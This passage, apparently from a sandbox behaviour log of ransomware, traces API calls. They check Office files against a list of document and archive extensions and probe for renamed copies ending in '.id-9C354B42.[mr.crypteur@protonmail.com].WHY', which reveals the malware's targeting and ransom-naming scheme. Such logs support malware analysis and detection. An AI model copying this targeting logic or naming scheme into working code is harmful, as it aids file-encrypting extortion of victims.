Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.702] lstrlenW (lpString=".doc") returned 4 [0222.702] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.702] lstrlenW (lpString=".docx") returned 5 [0222.702] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0222.702] lstrlenW (lpString=".pdf") returned 4 [0222.702] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.702] lstrlenW (lpString=".xls") returned 4 [0222.702] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.702] lstrlenW (lpString=".xlsx") returned 5 [0222.702] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0222.702] lstrlenW (lpString=".ppt") returned 4 [0222.703] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.703] lstrlenW (lpString=".zip") returned 4 [0222.703] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.703] lstrlenW (lpString=".rar") returned 4 [0222.703] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.703] lstrlenW (lpString=".bz2") returned 4 [0222.703] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.703] lstrlenW (lpString=".7z") returned 3 [0222.703] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.703] lstrlenW (lpString=".dbf") returned 4 [0222.703] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.704] lstrlenW (lpString=".1cd") returned 4 [0222.704] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0222.704] lstrlenW (lpString=".jpg") returned 4 [0222.704] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.704] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0222.704] lstrlenW (lpString="MOFL.DLL") returned 8 [0222.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0224.243] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=364928) returned 1 [0224.243] CloseHandle (hObject=0x37c) returned 1 [0224.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 0x20 [0224.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0224.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.245] lstrlenW (lpString=".doc") returned 4 [0224.245] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.245] lstrlenW (lpString=".docx") returned 5 [0224.245] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0224.246] lstrlenW (lpString=".pdf") returned 4 [0224.246] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.246] lstrlenW (lpString=".xls") returned 4 [0224.246] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.246] lstrlenW (lpString=".xlsx") returned 5 [0224.246] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0224.246] lstrlenW (lpString=".ppt") returned 4 [0224.246] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.246] lstrlenW (lpString=".zip") returned 4 [0224.246] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.246] lstrlenW (lpString=".rar") returned 4 [0224.246] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.247] lstrlenW (lpString=".bz2") returned 4 [0224.247] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.247] lstrlenW (lpString=".7z") returned 3 [0224.247] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.247] lstrlenW (lpString=".dbf") returned 4 [0224.247] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.247] lstrlenW (lpString=".1cd") returned 4 [0224.247] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.247] lstrlenW (lpString=".jpg") returned 4 [0224.247] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.248] lstrlenW (lpString=".doc") returned 4 [0224.248] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.248] lstrlenW (lpString=".docx") returned 5 [0224.248] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0224.248] lstrlenW (lpString=".pdf") returned 4 [0224.248] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.248] lstrlenW (lpString=".xls") returned 4 [0224.248] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.248] lstrlenW (lpString=".xlsx") returned 5 [0224.248] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0224.248] lstrlenW (lpString=".ppt") returned 4 [0224.249] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.249] lstrlenW (lpString=".zip") returned 4 [0224.249] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.249] lstrlenW (lpString=".rar") returned 4 [0224.249] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.249] lstrlenW (lpString=".bz2") returned 4 [0224.249] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.249] lstrlenW (lpString=".7z") returned 3 [0224.249] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.249] lstrlenW (lpString=".dbf") returned 4 [0224.249] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.250] lstrlenW (lpString=".1cd") returned 4 [0224.250] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0224.250] lstrlenW (lpString=".jpg") returned 4 [0224.250] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.250] lstrcmpiW (lpString1=".INF", lpString2=".WHY") returned -1 [0224.250] lstrlenW (lpString="ICE.INF") returned 7 [0224.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0225.444] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=429) returned 1 [0225.444] CloseHandle (hObject=0x2d0) returned 1 [0225.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf")) returned 0x20 [0225.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.454] lstrlenW (lpString=".doc") returned 4 [0225.454] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.454] lstrlenW (lpString=".docx") returned 5 [0225.454] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0225.454] lstrlenW (lpString=".pdf") returned 4 [0225.454] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.454] lstrlenW (lpString=".xls") returned 4 [0225.454] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.454] lstrlenW (lpString=".xlsx") returned 5 [0225.455] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0225.455] lstrlenW (lpString=".ppt") returned 4 [0225.455] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.455] lstrlenW (lpString=".zip") returned 4 [0225.455] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.455] lstrlenW (lpString=".rar") returned 4 [0225.455] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.455] lstrlenW (lpString=".bz2") returned 4 [0225.455] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.455] lstrlenW (lpString=".7z") returned 3 [0225.455] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.455] lstrlenW (lpString=".dbf") returned 4 [0225.456] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.456] lstrlenW (lpString=".1cd") returned 4 [0225.456] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.456] lstrlenW (lpString=".jpg") returned 4 [0225.456] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.456] lstrlenW (lpString=".doc") returned 4 [0225.456] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.456] lstrlenW (lpString=".docx") returned 5 [0225.456] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0225.457] lstrlenW (lpString=".pdf") returned 4 [0225.457] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.457] lstrlenW (lpString=".xls") returned 4 [0225.457] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.457] lstrlenW (lpString=".xlsx") returned 5 [0225.457] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0225.457] lstrlenW (lpString=".ppt") returned 4 [0225.457] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.457] lstrlenW (lpString=".zip") returned 4 [0225.457] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.457] lstrlenW (lpString=".rar") returned 4 [0225.457] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.457] lstrlenW (lpString=".bz2") returned 4 [0225.458] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.458] lstrlenW (lpString=".7z") returned 3 [0225.458] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.458] lstrlenW (lpString=".dbf") returned 4 [0225.458] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.458] lstrlenW (lpString=".1cd") returned 4 [0225.458] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0225.458] lstrlenW (lpString=".jpg") returned 4 [0225.458] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.459] lstrcmpiW (lpString1=".ELM", lpString2=".WHY") returned -1 [0225.459] lstrlenW (lpString="STRTEDGE.ELM") returned 12 [0225.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0225.460] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=57906) returned 1 [0225.460] CloseHandle (hObject=0x2d0) returned 1 [0225.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm")) returned 0x20 [0225.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.461] lstrlenW (lpString=".doc") returned 4 [0225.461] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.461] lstrlenW (lpString=".docx") returned 5 [0225.462] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0225.462] lstrlenW (lpString=".pdf") returned 4 [0225.462] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.462] lstrlenW (lpString=".xls") returned 4 [0225.462] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.462] lstrlenW (lpString=".xlsx") returned 5 [0225.462] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0225.462] lstrlenW (lpString=".ppt") returned 4 [0225.462] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.462] lstrlenW (lpString=".zip") returned 4 [0225.462] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.463] lstrlenW (lpString=".rar") returned 4 [0225.463] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.463] lstrlenW (lpString=".bz2") returned 4 [0225.463] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.463] lstrlenW (lpString=".7z") returned 3 [0225.463] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.463] lstrlenW (lpString=".dbf") returned 4 [0225.463] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.463] lstrlenW (lpString=".1cd") returned 4 [0225.463] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.463] lstrlenW (lpString=".jpg") returned 4 [0225.464] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.464] lstrlenW (lpString=".doc") returned 4 [0225.464] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.464] lstrlenW (lpString=".docx") returned 5 [0225.464] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0225.464] lstrlenW (lpString=".pdf") returned 4 [0225.464] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.464] lstrlenW (lpString=".xls") returned 4 [0225.464] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.465] lstrlenW (lpString=".xlsx") returned 5 [0225.465] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0225.465] lstrlenW (lpString=".ppt") returned 4 [0225.465] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.465] lstrlenW (lpString=".zip") returned 4 [0225.465] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.465] lstrlenW (lpString=".rar") returned 4 [0225.465] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.465] lstrlenW (lpString=".bz2") returned 4 [0225.465] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.465] lstrlenW (lpString=".7z") returned 3 [0225.465] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.465] lstrlenW (lpString=".dbf") returned 4 [0225.465] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.466] lstrlenW (lpString=".1cd") returned 4 [0225.466] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0225.466] lstrlenW (lpString=".jpg") returned 4 [0225.466] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.466] lstrcmpiW (lpString1=".INF", lpString2=".WHY") returned -1 [0225.467] lstrlenW (lpString="STRTEDGE.INF") returned 12 [0225.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0225.966] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=625) returned 1 [0225.967] CloseHandle (hObject=0x320) returned 1 [0225.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf")) returned 0x20 [0225.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0225.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.967] lstrlenW (lpString=".doc") returned 4 [0225.967] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.968] lstrlenW (lpString=".docx") returned 5 [0225.968] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0225.968] lstrlenW (lpString=".pdf") returned 4 [0225.968] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.968] lstrlenW (lpString=".xls") returned 4 [0225.968] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.968] lstrlenW (lpString=".xlsx") returned 5 [0225.968] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0225.968] lstrlenW (lpString=".ppt") returned 4 [0225.968] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.968] lstrlenW (lpString=".zip") returned 4 [0225.968] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.969] lstrlenW (lpString=".rar") returned 4 [0225.969] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.969] lstrlenW (lpString=".bz2") returned 4 [0225.969] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.969] lstrlenW (lpString=".7z") returned 3 [0225.969] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.969] lstrlenW (lpString=".dbf") returned 4 [0225.969] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.969] lstrlenW (lpString=".1cd") returned 4 [0225.969] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.969] lstrlenW (lpString=".jpg") returned 4 [0225.969] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.970] lstrlenW (lpString=".doc") returned 4 [0225.970] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.970] lstrlenW (lpString=".docx") returned 5 [0225.970] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0225.970] lstrlenW (lpString=".pdf") returned 4 [0225.970] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.970] lstrlenW (lpString=".xls") returned 4 [0225.970] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.970] lstrlenW (lpString=".xlsx") returned 5 [0225.970] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0225.971] lstrlenW (lpString=".ppt") returned 4 [0225.971] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.971] lstrlenW (lpString=".zip") returned 4 [0225.971] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.971] lstrlenW (lpString=".rar") returned 4 [0225.971] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.971] lstrlenW (lpString=".bz2") returned 4 [0225.971] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.971] lstrlenW (lpString=".7z") returned 3 [0225.971] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.971] lstrlenW (lpString=".dbf") returned 4 [0225.971] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.971] lstrlenW (lpString=".1cd") returned 4 [0225.972] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF") returned 77 [0225.972] lstrlenW (lpString=".jpg") returned 4 [0225.972] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.972] lstrcmpiW (lpString1=".INF", lpString2=".WHY") returned -1 [0225.972] lstrlenW (lpString="SUMIPNTG.INF") returned 12 [0225.972] CreateFileW (lpFileName="C:\\Program Files\\Common 